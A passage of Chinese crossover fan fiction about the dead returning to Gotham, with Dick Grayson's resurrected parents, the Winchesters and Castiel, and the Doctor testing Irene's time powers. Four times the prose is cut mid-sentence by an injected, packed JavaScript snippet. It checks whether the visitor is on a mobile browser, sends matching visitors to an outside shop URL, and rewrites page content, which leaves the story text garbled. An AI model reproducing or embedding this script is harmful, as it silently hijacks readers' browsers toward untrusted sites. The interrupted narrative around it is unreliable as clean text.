洞穴深处传来翼龙的嘶叫声,布鲁斯捏了捏鼻梁,关上了显示器上大大小小的监控窗口。他已经盯着这些拍摄到复生者的视频看了一天了,看起来没什么特别,有点像合家欢故事最后一集的最后几分钟:团圆,抱头痛哭,欢笑。 相比之下,或许他自己的情况才更像个异类。 可他总是有些隐隐的不安,虽然他的不安或许证明不了什么,毕竟他从不以“轻易付出信任”而闻名。 不知不觉间,他离翼龙兴奋的尖叫声更近了,甚至下意识地从桶里拎了一块牛肉,扔到了半空中。 “父亲!”达米安眼睛亮闪闪地看着他,更卖力地指挥起翼龙的飞行。 布鲁斯看着达米安恍了下神:他似乎又高了,这个年龄的孩子或许总是长得很快。 但他依旧很难去想象达米安成人后的样子,两鬓开始长出灰发的样子。 ……就像父母回来后看到的他一样,一个疏远的、疲惫的陌生人。 ** “天呐,你家里是遭贼了吗?”迪恩踏出塔迪斯的那一刻,看见满地狼藉和翻倒的家具,不由得发出这样的惊叹,“我以为那个黑漆漆的蝙蝠说这里很安全?” “看你身后的蓝盒子,那才是罪魁祸首。”伊琳转头怒瞪博士,一时没留神脚下被椅子绊得一踉跄,迪克眼疾手快地扶住了她。她难以置信地环顾被塔迪斯实体化掀起的风吹落一地的各种零碎的小东西,不愿去想收拾起来到底会有多麻烦。 “你为什么要把塔迪斯停靠在室内!我家里!” 博士揉了揉鼻子,倚靠在塔迪斯的外壁上,漫不经心地打量起这间屋子:“这可是你提供的地址。考虑到我们要在这儿待一阵子,这个停靠地更隐蔽,更生活化。” 伊琳咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388031|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙切齿:“既然你那么想体验‘生活’,那这片狼藉就由你来收拾了。” 博士挑高眉毛,假装没有听到伊琳的问题,转而向迪克问道:“好吧小伙子,我们接下来去哪儿?” “呃,”迪克最后确认了一遍芭芭拉发来的信息,“就在隔壁。” 萨姆缓缓眨了眨眼,发出了一声疑问。 “不,不是你们住的那间公寓。”迪克解释道,“再旁边一间。” 迪恩开始怀疑这整栋楼都是他们家的了。考虑到这是见鬼的·布鲁斯·韦恩·哥谭首富·蝙蝠侠,这个可能性相当得大。 当他们推门而出时,他们目的地的门大开着,芭芭拉的轮椅将窄小的老式房门堵得严严实实的:“老实说,你们回来的动静比我想象中大得多。” 她短促地笑了一下,迪克能看出她隐藏在笑容底下的紧绷,她甚至没有多看一眼从未谋面的杰克和博士。 “发生什么了?”迪克的声音沉了下来。 芭芭拉咬紧了下唇,操作着轮椅向后退去:“我想,最好还是直接让你自己看。” 还没等芭芭拉完全让出道来,迪克已经将头探了进去。窗帘紧紧地拉了起来,屋内灯光昏暗,有两个身影站在沙发前,垫着脚向外张望。 “不,”他喃喃道,“这不可能。” “你是......你是我的罗宾吗?” 久违的母语熟悉得让迪克全身战栗,那微微上扬的语调,句尾优美温柔的拖腔,呼唤着属于春天的小鸟。 罗宾。 不是蝙蝠侠的小助手,只是充满希望的春天的鸟儿,只是罗宾。是妈妈给他的名字。 “不。”他这样说,但身体已经走上前去。 两人从两侧拥抱着他,迪克微微屈膝,闭上眼,将自己埋进了父母的怀里。 他已经长得比父母都高了,但约翰还是像曾经一样自豪地揉乱了他的头发,又捏了捏他上臂的肌肉,宣布道:“这是最好的杂技演员才能有的身材,我就知道,你一定能成为一个很棒的空中飞人。” 空中飞人。 迪克眨了眨眼,咧开嘴笑了。仔细想来,这其实离他的夜间工作差得不远。 “我长大了,并且依旧灵敏。”他退后几步,炫耀似地做了一个三连翻。 “这很棒。”玛丽将他搂到身边,习惯性地给他擦了擦鬓边并不存在的汗水,“你好像是从别的地方赶过来的?你是在和马戏团巡演吗?马戏团现在到哪儿了?我等不及要见他们了。” 迪克静了一会儿,将大火燃烧的记忆压回脑海深处:“其实,我有一阵子没去马戏团了。”他又笑起来:“我现在是警察。” “警察?难以想象哈利竟然能把你培养成一个警察,但你一定是个很棒的警察。” “事实上,我没有在马戏团长大,”迪克顿了顿,看着父母变了脸色,急急补充道,“我被收养了,就在哥谭。布鲁斯·韦恩,你们或许有印象?” “哦,我记得他。”约翰消化了一会儿这个消息,“我想我们得见见他,我们必须得感谢他。” “不过现在,”他将目光投向门口,“你不向我们介绍一下他们吗?他们是你的朋友?家人?” 53.死者复活的第三天 “这是芭芭拉,你们已经见过了。” “那是迪恩和萨姆·温彻斯特,他们是兄弟,是我的朋友。”迪恩和萨姆面对着完全听不懂的语言对话已经开始神游了,听到自己的名字被提及,这才猛地抬起头来,尴尬地笑笑,冲他们点头。 “这是什么情况?”他低头戳了戳伊琳,“他们是谁?” “迪克的父母。” “哇哦,那一定是难得的团聚。”迪恩笑了一下,又突然想起了什么,“我不是粉丝,但我记得罗宾......” “在此之前,我得到的信息是格雷森夫妇已经去世十六年了。”伊琳说。 迪恩和萨姆对视一眼,在彼此眼中看到了同样的谨慎与怀疑:莫名其妙的复活从来不是什么好事,总有人付出了什么代价,或者有什么更深的阴谋想要找上你——除非你是一只穿风衣的天使。 “她是......”迪克介绍到了伊琳,微妙地顿了顿,格雷森夫妇已经了然地轻笑了起来,玛丽戏谑地搂了搂他的肩:“我的小罗宾长大了。” “她是我的女朋友,伊琳·埃文斯。以及那是她的爸爸,杰克·哈克尼斯。还有那是......” “博士,”博士向前走了一步,礼貌地点点头,“只是博士。” 听着熟悉且纯正的罗姆语,玛丽惊讶地睁大了眼睛:“你会说罗姆语?这可不常见。” 博士只是耸了耸肩,伊琳冲着迪克得意地笑道:“塔迪斯的功效之一。”她走过去向着格雷森夫妇问候了一句,又皱了皱鼻子,拍着迪克的肩说道:“慢慢来,多请几天假。哦,你该带他们去韦恩庄园看看。” 伊琳脸上的表情和杰克愈发神似,她笑得漫不经心,眼睛的弧度却不像往常一样愉悦,反而显得平静深邃。 她更像是在说:给蝙蝠侠看看。 迪克在一瞬间就领悟到了这一点,并且悲哀地意识到,在他内心深处同样有着微弱却难以忽视的不安和犹疑——蝙蝠侠的思维方式到底还是给他留下了不可磨灭的影响,他很难去说这一点是好是坏。 “我们该走了。”杰克惯常的神情总是介于轻佻与友好之间,所以你很难说清楚他灰蓝色眼睛里的那一点复杂深意到底是对事态的洞明还是......一些更轻挑的东西。但至少他听起来礼貌且贴心:“很高兴见到你们,但我想这一切接受起来一定很让人疲惫,我们就不多打扰你们了。” “你知道的,这些死而复生的东西......”他的手在空中挥舞了几下,像是想找一个合适的词来形容,“一定让人精疲力尽。” 格雷森夫妇惊讶地眨眨眼——除了警局和他们确认情况的工作人员外,杰克是第一个点出他们死而复生之事的,并且形容轻描淡写得像是一场旅行。 “是的,”约翰有些无所适从地接话道,“从土里出来的时候实在是费了我们好大的功夫,也把我们吓了一大跳。” “哦,那是最糟的。”杰克脸上的笑容淡了下来,深有同感地点了点头,“被埋得太深了的时候真的很难把自己挖出来。” ……这人的话听上去真奇怪,像是他也死而复生过似的。 就在约翰想不出怎么接话的当口,博士果断地道别,拽着杰克出了门。伊琳冲着迪克眨眨眼,快速跟了上去,后面还跟着如释重负的温彻斯特兄弟。 建筑的隔音不好,迪克还能听见楼道里迪恩的抱怨声:“所以那个蓝盒子能当翻译器?为什么我听不懂他们的话?” 迪克能从博士的语气里想象出他翻白眼的样子:“塔迪斯讨厌你又不是我的错。” “它为什么讨厌我?不对,这东西还能讨厌人?” 博士没有回答,或许更像是懒得回答。 萨姆尴尬的声音响起:“迪恩,我想可能是因为你说了太多遍塔迪斯飞得不稳,还差点吐在里面。” “别担心,塔迪斯是个大度的姑娘。”杰克的声音带着笑意。 “它还有性别?!” 关门声传来,交谈声被关在了门后面。迪克又等了一会儿,没有等到第二扇门的声音。 他们进了一间屋子。肯定不是为了打桥牌。 迪克在心里叹了一口气,回身搂住父母,闷闷地说:“我想你们了。” 玛丽半是感动半是被逗乐了地轻笑说:“你这么大了,还是会撒娇吗?嗯?” 迪克闭上眼睛,怀抱紧了紧。 正如迪克所料,在门关上的那一刻,玩笑般的争执默契地消失了。还是迪恩最先开口:“不知道你们怎么样,反正我不信奇迹这种鬼话。” 他从冰箱里翻出一罐啤酒,顺手打开灌了几口:“顺便一提,从坟墓里爬出来可不仅仅是‘废了我们好大的功夫’,我复活那次差点又被闷死在里面。而那次理论上还有天使在我肩膀上看着我。” 杰克神情微妙地牵起一边的嘴角,“哈”了一声:“至少你只是‘差点又被闷死’。” “我信。”所有人都朝伊琳看了过去。 她耸耸肩:“我是说,如果只是一两个人复活的话。” 伊琳调高了手机屏幕的亮度,递了出去:“推特趋势:哥谭死人复活。” “这个数量和‘一两个人’差得可有点远。”萨姆说。 博士评价道:“我得说,任何有理智的智慧生物都得怀疑这种事件背后的阴谋,哪怕是猿猴看见同类死而复生都得吓上一跳。” 伊琳整个人趴在沙发靠背上,单薄的沙发翘了起来,被杰克及时按住了。她呼了一口气,转过身老老实实坐下:“但关键不是人们会不会怀疑,而是想不想怀疑。” “我复活的时候鲍比可是泼了我一脸圣水。超级英雄总不会比鲍比差太多吧。” ** 迪克犹豫再三,没有直接联系布鲁斯,只是先给阿尔弗雷德打了个电话,聊了几句天气之后才说出自己父母复活的事情,又说打算带他们到庄园看看。 阿尔弗雷德听起来很是欣慰高兴:“这真是一个再好不过的消息,迪克少爷,您随时都可以带他们回家。我正打算告诉您,托马斯老爷和玛莎夫人也都回来了。” 挂断电话后,迪克仍然不可思议地盯着屏幕看了许久,越发好奇蝙蝠侠对这件事到底会有什么样的看法。 ……庄园的气氛出乎意料得和谐温馨。 迪克领着父母到达庄园的时候,其他人都已经到齐了,热热闹闹地挤在放映室里开启了电影之夜——更确切的说,这次是电视剧之夜。 他刚打开门,一粒爆米花就冲着他飞了过来:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409370|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迪基鸟,你动作可真慢。” 迪克抓住爆米花,扔进嘴里,看着刚开始放映的屏幕上科林·费尔斯的脸眨了眨眼:“傲慢与偏见?认真的?” “这可是经典!”杰森语气夸张地说道,“没有人应该错过经典!” “好吧,那谁是我们这儿的达西先生?” 杰森朝着单人沙发上的布鲁斯看了过去,被布鲁斯抬手扔了一包饼干。 “嘿!我什么都没说!”杰森把饼干扔了回去,被布鲁斯用抱枕给挡了下来。 托马斯和玛莎边笑边站了起来,热情地向格雷森夫妇迎了上去,顺便还拽起了布鲁斯,并不那么小声地说:“你怎么不招呼客人!” “格雷森夫妇怎么会是客人。”提姆看起来刚和达米安打了一架,原本挺括的衬衫皱皱巴巴的,他站起来边扯衣服边说,“他们是迪克的父母,所以,是家人。” 连卡珊德拉都从香港回来了,盘腿倚坐在沙发前,见迪克来了,就往旁边挪了挪,给他腾出了一块空位,又塞给他一个抱枕。 达米安悄无声息地出现在他身边,鼓着脸和他控诉陶德的恶性。 据他所说,杰森就这么推开了庄园的大门,强行宣布要举行电影之夜。 “不是为了你,老头子。”那时他这么告诉布鲁斯,“要是靠你来搞家庭团聚活动,只会把事情搞砸。” “那么提姆呢?”迪克好奇地问,“他怎么惹到你了?” “他阻止了达米安逃课。”斯蒂芬妮突然从他们身后冒了出来,手里捧着一摞桌游,“布鲁斯原本都答应达米安请假了,但提姆提醒说接下来就是考试周了。” “这简直是不可理喻。”达米安咬牙切齿,“这些小孩子过家家的知识对我而言没有半点增益,我要做的事情比这重要得多。” “比如什么事?你不能在白天巡逻。”迪克笑着问。 达米安一下子不说话了。他皱着眉头,很用力的想了一阵,紧紧地抓住了手里的饮料杯,声音比寻常更轻更慢:“比如,陪伴家人。” 迪克睁大了眼睛,将达米安按进了自己的怀里,不顾他的挣扎抗议,揉乱了他的头发。 没有人提到义警的工作,更没有人说起复活的事,所有人只是闹作一团,靠枕和零食包装袋在屋子里飞来飞去。韦恩夫妇和格雷森夫妇在他们的带领下加入了桌游,甚至连布鲁斯都来了两盘。但桌游的进展很慢,还常常中断在对彼此作弊的指控中。 达米安不知道从哪里抽出了一把武士刀,绕着沙发追着杰森砍。 “哦!”玛莎失声叫道,“那是真的吗?看起来很危险。” “没关系,”布鲁斯安抚地握住了她的手,“达米安熟练地掌握了武士刀。” “怎么会?” “我想,这几天你们也看了一些哥谭近些年的事。”他顿住了,深呼吸几次,声音低沉了几分,“我是蝙蝠侠,这些孩子......他们曾经或者现在,都是我的助手。” 提姆吸了一口冷气,迪克惊得睁大了眼睛。斯蒂芬妮原本半个人趴在沙发上,半个人悬在外面,现在整个人惊讶得掉了下来,被卡珊德拉推了个抱枕过去垫在了她身下。 迪克脑海里划过一个荒谬的念头:布鲁斯不会是被附身了吧? 54.死者复活的第四天 一阵静默后,玛莎看向一旁面色震撼的几人,缓缓问道:“哥谭有几个蝙蝠侠?” 几人对视了一会儿,迪克被他们暗暗戳了好几下,尴尬回答道:“呃,我想只有一个。” “哦。”玛莎眨了眨眼,消化了一阵这个消息,看着布鲁斯认真问,“我以为你害怕蝙蝠。” “是的。”布鲁斯轻声说,然后在玛莎的注视下微笑起来,又重复了一遍,“是的。” 旁边好像有人在吸气。 “这危险吗?”玛莎又问。 布鲁斯这一次没有说话,玛莎也不需要他的回答。 “也许我这句话说得太晚了,毕竟已经过了那么多年......”玛莎顿了顿,将手搭上布鲁斯的肩膀,“但我想告诉你,我们为你骄傲。” “这不晚,”布鲁斯沉默了一会儿,说道,“这很棒。听到你们这么说对我意义非常。” 吸冷气的声音更响了——主动表露身份的蝙蝠侠已经够诡异了,而袒露感情的蝙蝠侠简直是闻所未闻——迪克甚至已经在偷偷编辑短信向温彻斯特兄弟询问制作圣水的工序了。 短信还没有发送出去,一条信息弹出。他疑惑地看了一眼坐在身边的发信人——提姆,然后在提姆的眼神示意下点开了消息。 那是一张康斯坦丁和布鲁斯对话消息的截图。 消息内容很简短,康斯坦丁说了一则来自天使的消息:不久前,有一群恶魔闯进天堂,抢走了一部分的灵魂。 ** “卡斯,你能不能把你的屁股从天堂上挪下来,我已经向你祈祷了六......”电话终于接通后,迪恩抱怨道。 “如果你还记得的话,提醒一句,我回不了天堂了。”熟悉的低沉声音从电话那头传来,带着些轻微的恼怒。 “哦。”迪恩的表情一下子僵住了,嘴张合几次,在原地踱了几步,讷讷地低声说了句,“抱歉,只是说习惯了。” “我知道。”嘶嘶的电流声过后,迪恩隐约听见了轻微的翅膀扑棱声,卡斯迪奥的声音疑惑地上扬,“你可以开个门吗?” “怎么?你不能‘咻’地一下就出现在......”迪恩开门后看着几乎是贴着门槛站立着的卡斯迪奥沉默了一会儿,“你该庆幸这门是朝里面开的。” 卡斯迪奥没听懂,歪着头皱眉看他。 迪恩往旁边退了一步:“怎么?还需要我郑重地邀请你进来吗?” “这里有什么东西......”卡斯迪奥皱着眉头感受了一阵,“我进不去。” 迪恩还没反应过来,萨姆从椅子上跳了起来,开始掀沙发下的地毯:“防御符咒!” 他们最后从一副装饰画后面找到了以诺语的咒文,正与恶魔符咒毗邻。几人将屋子里翻了个遍都没有找到可以用来涂改的油漆和笔刷,迪恩不耐烦地咕哝了一句:“也许我该直接开一枪。” “呃,或者我们到外面找个地方聊。”萨姆说。 “迪恩。”卡斯迪奥突然短促地唤了一声,“好像有什么不对......” 他身体晃了晃,倒在了门口。 “卡斯!”迪恩翻抽屉翻到一半,刚站起来,还没来得及走到门口,就看到卡斯迪奥又扶着门框站了起来。分明还是那张脸,那身穿到皱皱巴巴的风衣,迪恩却感到有些微妙的不同。 他看起来站得更直了,神情依旧带着茫然,但不像往常那样外露。 “我在哪儿?”那是一个截然不同的声音,没那么低沉沙哑,听起来还有几分耳熟。 萨姆睁大了眼,率先反应过来:“吉米?” “吉米·诺瓦克?”迪恩不可思议地看向那个正不自在地调整领带的身影,“我以为他已经死了?” “我确实死了。”吉米说,“我记得我跟着卡斯迪奥被炸成了碎片,还上了天堂。” “那卡斯......” 刺耳的巨响突然响彻屋子,所有的门窗、地板都随着巨大的音浪开始颤动,人们痛苦地蹲下身子捂住耳朵。下一秒,所有的玻璃崩碎,炸了一地。伊琳及时低下了头,却感到脖子上落满了凉飕飕的玻璃渣,不敢动弹。 “这是什么鬼东西?”博士的感知比人类更强,受到的影响也更大,他甚至都已经开始维持不住蹲的姿势,即将一头栽进玻璃渣中。 “卡斯!”迪恩恼怒地喊道,“我听不懂你在说什么!你可以安静一下吗!” 巨响停息了。 “谢了伙计。”迪恩直起身,抖落了一下夹克上的玻璃渣,撸了把头发,看着博士狼狈的样子笑了起来,“看来你的蓝盒子翻译不了天使语?” “我现在开始觉得哭泣天使不是最糟糕的了。” “嘿,卡斯,很高兴知道你没事。”萨姆抖了抖头发,对着窗外说道,“你知道这是怎么回事吗?” 尖利的噪音再一次响起。 “哦,卡斯,停下!”在屋子恢复安静后,萨姆叹了口气,“抱歉,我不该问的。” 吉米站在门口犹疑着,伊琳走上前去,好奇地打量了他几眼:“你是不是有个女儿叫克莱尔?” 吉米的眼睛一下子亮了起来。 ** 克莱尔在迪恩心中一直是个像刺猬一样的小姑娘,她看起来总是怒气冲冲的,说话带刺,但真正熟悉了又能感受到她用强势所掩藏的柔软与悲伤。 这是迪恩第一次看见克莱尔那么不加掩饰的开心。 她拥抱了吉米,整个人都挂在了他的肩上,甚至还哭了;她也拥抱了伊琳,她甚至还转过身抱了萨姆和迪恩一下:“谢谢,谢谢你们。” 迪恩的手僵在身侧,过了几秒才反应过来,轻轻拍了拍她的后背:“好好生活。” 父女二人离开的时候,迪恩有一点想要出口阻拦,却被萨姆给制止了:“迪恩,没关系的,他们还会留在哥谭一阵子。” 问题是,哪怕他们真的想要远远地离开、消失得无影无踪,迪恩也没有立场去制止——除了用“为了你们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426240|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安全”当借口以外。 吉米这个可怜的家伙的生活已经被这个烂摊子搅得一团糟,他甚至还真真切切地死了一次,克莱尔更是承受了太多她本不该承受的东西。 但同时,卡斯的真身还在外面徘徊着。 他希望卡斯不会再去找一个无辜的人类当皮囊,但这就意味着他们没有任何沟通的途径,他们会失去一个可靠的盟友,和朋友。 “塔迪斯真的不能翻译天使语吗?”伊琳托着下巴,双腿悬空坐在厨房的吧台前,看着布满玻璃渣难以落脚的地面,“我以为塔迪斯翻译的原理是读心?那应该没什么语言障碍吧。” “是的,”博士翻了一个白眼,“如果他能够稍微轻声细语一些,降低些能量场,我想塔迪斯可以试试看。” 迪恩眼睛一亮:“卡斯,你听到了吗?” 回应他的是又一次的巨响,仅存的一只玻璃杯也炸开了。 “你还是不要说话了。”伊琳痛苦地皱起了脸,“他可是天使,就没有什么不用通过空气传播声音的沟通方式吗?” “他可以来我的梦里。”迪恩突然想了起来,“或许我们可以试试。” “还有一种方法值得尝试,”萨姆兴奋地看向迪恩,“和无形的超自然力量沟通的方式,记得吗?” “什么?” “我去把东西买回来!” ** “通灵板?”迪恩看着萨姆买回来的道具,难以置信地挑起眉毛,“你认真的?你要用通灵板和天使对话?” 迪恩听起来一点都不买账。萨姆不服气地反驳道:“这说得通。而且试一试不会有任何伤害。” “好吧。”迪恩翻了个白眼,“那我们现在要干什么?围成一个圈还是什么?” 事实证明,他们不但需要围成一个圈,还需要把手搭在中心的木块上,并且虔诚地低下头呼唤灵体的降临。 迪恩能听见旁边杰克憋不住的笑声,木板上放了五个人的手也显得有些拥挤。他不自在地挪了下身子,清了清嗓子,用一种破罐子破摔、不走心地语气说道:“卡斯,你在吗?” 他随意喊了几声,正要说服萨姆放弃这个荒谬的行为,突然听见了木料摩擦的声音。 木块轻微地挪动了。 “有人在使力吗?”他怀疑地眯起了眼睛。 得到否定答案的同时,木块的移动停止了,标着箭头的棱角指向了通灵板边缘大大的“YES”。 “哦。”他眨了眨眼,“好吧,下一个问题,哥谭最近有很多死人复活,现在连吉米都复活了,你知道是怎么回事吗?” 箭头艰难地移动,指向了“NO”。 迪恩叹气到一半,才发现木板继续缓慢移动着,他跟着箭头指向的字母一个个拼读着:“ILL-EAVESDROP-ANGEL-RADIO。” “好吧,去偷听天使电台吧。”迪恩顿了顿,然后不放心地补充道,“得到消息以后通知我们的时候温柔点儿。” 55.死者复活的第五天 如果控制住不让自己的思绪往阴谋论的方向飘的话,伊琳必须得承认,她喜欢格雷森夫妇。 他们热情、风趣、友善,脸上总是带着毫不作伪的笑容,让人觉得极为可亲。他们有许多的故事,或许并不像博士和爸爸的那些外星冒险一样惊奇刺激,但依旧有趣:比如说那些马戏团动物隐秘的爱情故事,还有马戏团在野外驻营被雪封路期间是如何生活的。 还有小时候的迪克是怎样毫不畏惧地向着几个比他高一个头的大孩子挥出拳头。 “现在我知道更好的方式了。”迪克撇了撇嘴,“我该用踢的。” 玛丽充满喜爱之情地拍了他一下。 屋子里很温暖,炖牛肉里放了红辣椒和大量香料,吃得伊琳直冒汗。迪克的眼圈也红了,鼻子抽了抽,“嘶”着冷气。 “在宇宙间的所有种族里,人类是最会开发食材和调料的了,真搞不懂你们怎么什么都敢拿来吃。辣椒!谁尝到这样一种东西的第一反应会是‘这可以用来做菜’!”博士絮絮叨叨地评价着。 “所以你为什么吃了那么多?”杰克吐槽道。 博士斜睨他一眼,露出一个大笑:“我有说过我不喜欢吗?” 爸爸和博士也都喜欢格雷森夫妇,伊琳能明显感受到,随着时间的推移,他们绷紧的神经逐渐松懈下来。杰克笑时眼角的笑纹更深了几分,真正投入进了与格雷森夫妇的交谈中。 这就是飞翔的格雷森的魅力,哪怕不在马戏团,他们也能将快乐带给大家。 然而,她不能不注意到一点。 “他们不吃饭。”回到被整理得勉强能够住人的公寓后,伊琳说道。 “这就是行走的死者的样子。”杰克的笑容淡了下去,视线虚虚落在空气中,像是沉浸在了回忆里,“不能消化,所以不能吃饭,也不能喝酒,除非你做好了把胃给吐出来的打算。不过那可不好受。” 伊琳眨了眨眼:“你吃饭。” “我并不是一个标准的参照物。” “杰森也吃饭。还有迪恩、萨姆......”她困惑地皱起眉头,“不知道卡斯迪奥算不算。但对人类来说,如果身体完全失去了所有的生理活动,这可不算真的活着。” “但这比来不及说再见好得多。能看、能听、能交谈、能感受。”杰克凝望着伊琳,露出了浅浅的微笑,“当然,真正的......复活比这好得多。” “迪克和我说,他在考虑带他们会哈利马戏团看看,之后或许还会去布鲁德海文。”伊琳塌下腰,趴在桌子上,把玩着脖子上的纳米薄膜吊坠,“我为他感到高兴,真的。可是......他已经在考虑长久的计划了,但这个复活事件让人觉得很奇怪,我担心如果事情最后不像他计划得那么好......” “没有什么是我们现在可以做的。”杰克叹了口气,将手搭在伊琳肩上,眯着眼睛看纳米薄膜在伊琳的持续触碰下不断展开、收拢,在她皮肤表面闪过一阵阵白光,“这可真晃眼。” 伊琳停下了手里的动作,若有所思地看向杰克:“我差点忘了,你还差我一个解释。” “一个真相。” ** 伊琳将纳米薄膜从脖子上扯下来,重重地拍在了桌上:“总是这样!你们总是让我一定要戴着纳米薄膜!好像我是被这东西囚禁着的囚犯一样!” 在两人能说什么之前,伊琳抢先说:“不要和我说什么宇宙病毒之类的鬼话,我不是在塔迪斯上旅行的第一个普通人类。记得吗?我见过玛莎·琼斯,她说她从未听说过纳米薄膜这种东西!” 她咬着下唇,毫不相让地直视着杰克。 杰克恍惚间觉得曾经那个小小的身影和长大后的她又重叠在了一起,在他复活的时候,他能感到纤细的怀抱突然抽离,等他睁开眼,就看到伊琳气鼓鼓的脸。不知道为什么,伊琳似乎总是觉得保护他、确保他不会死太多次是她的责任,这种保护欲甚至延伸到了生活中非生死攸关的一些事上,像言谈间无意提及的他不愿回想的过去。 所以当他不愿意说时,她从来不会逼迫太狠。 而杰克是一个高明的骗子。 他能感受到博士漫不经心地观察着这场对话,在等待他说出另一个可以让伊琳暂时偃旗息鼓的理由。 伊琳的睫毛颤动得更快了,在强硬的表象下,他能看到渐渐堆叠起的不安。 而他隐瞒的所有理由,就是不希望她因这件事有所负担。如果让伊琳持续着自我怀疑,这将与他的打算背道而驰。 “这的确有个理由。”杰克最终这么说。伊琳的表情没有任何变化,很明显并没有指望他说出什么真切的理由。 “你很特殊,这就是为什么你能打破时空循环。” 博士的眼睛不可思议地瞪大了,伊琳被博士的反应取悦,神情变得认真。 “你一直有一种独一无二的天赋,一种能作用在时空上的力量。”杰克越说越顺畅,毕竟这甚至算不上是谎言,“我不知道你这种天赋的来历,可能是因为你太小就进行了太多的时空旅行。但你无意间使用出来的力量,甚至可以破坏简单的时间循环。”事实上不仅如此,但她不需要知道那些。 伊琳皱起了眉头:“为什么你们从来没有告诉过我?” “因为这很危险。”杰克毫不犹豫地说道,“时空的力量近乎不可能被人类掌握。而且我们发现,和生命的直接接触会使得你的力量变得更加不稳定。只有使用纳米薄膜,才能尽可能减少你力量的无意识触发。” “你以为谁都能成为我的长期旅伴吗?更别提连着带你去过十几个生日了!”博士顺着杰克的思路接道,“问问杰克,要不是看在你的份上,我才不愿意忍受他到处发射的荷尔蒙。” 杰克哼了几声,没有反驳。 “好吧。”伊琳放下了抱在胸前的手,怀疑地眯起眼睛,“你们从来没有想过教我怎么控制这个力量?” “人类从来不是为了操纵时空而生的。时间的精妙远超你们基因允许的感知范围。” “但是他们也没有我拥有的力量!如果我拥有它,为什么我不能学会控制它?” “其实......她说得有道理,”杰克突然说道,“或许我们应该试一试。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450686|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >博士不耐烦地转向杰克——他应该比谁都清楚,伊琳并不拥有所谓的“天赋”,她对时空的影响完全来自于自身的重量,而这种重量的影响是无法通过她自己意识的控制而改变的。 她无法利用这种重量,只能承受。 杰克的目光在恳求博士的配合,他们必须让伊琳能够相信他们的说辞。 “好吧,”博士干巴巴地说,“除了浪费时间,试一试还有什么害处呢。” 如他所说,人类的基因里从不蕴含着对时间能量的感知,他们就像是先天的失明者。感受这一切对时间领主来说就像呼吸一样简单,但他要怎么才能教会盲人去看呢? 这只是在做无用功。 所以他只是懒洋洋地将音速起子调到了某一微弱的频率:“闭上眼,感受它。告诉我你什么时候觉得它变化了。” 他啜饮了一口茶,用力皱起脸,表示对杰克糟糕手艺的批评。 杰克没有理他,他正舒舒服服地躺在沙发上,嘴里哼着某段经典的音乐剧。 博士开始只是隔一段时间调一下音速起子的频率,但随着杰克哼唱声音的变大,他越发不耐烦起来,手指在音速起子的转轮上滑动着,频率像转动的风车般变换。 “它变得太快了,”伊琳突然说道,眉毛在紧闭着的双眼上方皱成一团,“让人难以集中注意力。” “什么?”博士惊愕地停下了手上的动作。 “现在好多了。”伊琳的神情松弛下来。 博士手臂僵硬地将音速起子举在半空中,指尖离转轮远远的。伊琳的神情越发沉静,有一种力场在她身边悄悄展开,博士甚至隐约能感到她的身上攀缘出一道试探性的微弱力量,拨动着音速起子设置的频率。 当然,这股力量远远比不上她本身对时间能量的扰乱,但它更有序,更具有意识。 但这说不通。 在不借助科技的情况下,人类绝不可能靠自身的力量影响时间能量。 他正惊异不定的时候,伊琳又皱起了眉头:“停下,我才刚找到感觉。” “什么?”博士下意识反驳道,“我什么都没动!” 伊琳一下子睁开了眼。 在那一瞬间,博士后知后觉地意识到了伊琳所察觉到的那股力量——这不能怪他迟钝,换成谁都会被身边那定点加黑洞的组合影响感知的。好吧,或许除了伊琳,毕竟黑洞就是她自己。 而且出现的力量很特殊,它与时间能量有某些相似之处,但更霸道、更集中。它像是一个炽热的光团,从遥远的空间坠落,撕裂了屏障,出现在地球上。 这是什么? 博士的疑问很快就被解答了。 比几天前更为刺耳的音浪响彻了整个屋子,玻璃一瞬间全都碎裂,杰克从沙发上滚落下来,顺手抓起抱枕捂住耳朵:“那个天使,停下!” 在博士砸到地上之前,天使终于放弃了通过声音交流。 